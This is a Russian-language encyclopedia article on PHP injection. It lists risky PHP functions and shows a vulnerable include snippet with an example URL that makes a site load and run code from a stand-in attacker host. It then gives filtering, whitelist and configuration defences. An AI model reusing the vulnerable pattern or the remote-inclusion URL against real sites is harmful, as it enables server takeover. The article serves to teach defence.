- PHP-инъекция
-
PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:
- eval(),
- preg_replace() (с модификатором «e»),
- require_once(),
- include_once(),
- include(),
- require(),
- create_function().
PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.
Содержание
Пример
<? ... $module = $_GET['module']; include ($module.'.php'); ... ?>
Этот скрипт уязвим, так как к содержимому переменной
$module
просто прибавляется «.php» и по полученному пути подключается файл.Взломщик может на своём сайте создать файл, содержащий PHP-код (
http://hackersite.com/inc.php
), и зайдя на сайт по ссылке вродеhttp://mysite.com/index.php?module=http://hackersite.com/inc
выполнить любые PHP-команды.Способы защиты
Существует несколько способов защиты от такой атаки:
- Проверять, не содержит ли переменная
$module
посторонние символы:
<? ... $module = $_GET['module']; if (strpbrk($module, '.?/:')) die('Blocked'); include $module. '.php'; ... ?>
- Проверять, что
$module
присвоено одно из допустимых значений:
<? ... $module = $_GET['module']; $arr = array('main', 'about', 'links', 'forum'); if (!in_array($module,$arr)) $module = $arr[0]; include $module . '.php'; ... ?>
Этот способ является более эффективным, красивым и аккуратным.
PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции
allow_url_fopen
на Off в файле конфигурации сервераphp.ini
.Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.
См. также
Ссылки
Категории:- Уязвимости защиты
- PHP
Wikimedia Foundation. 2010.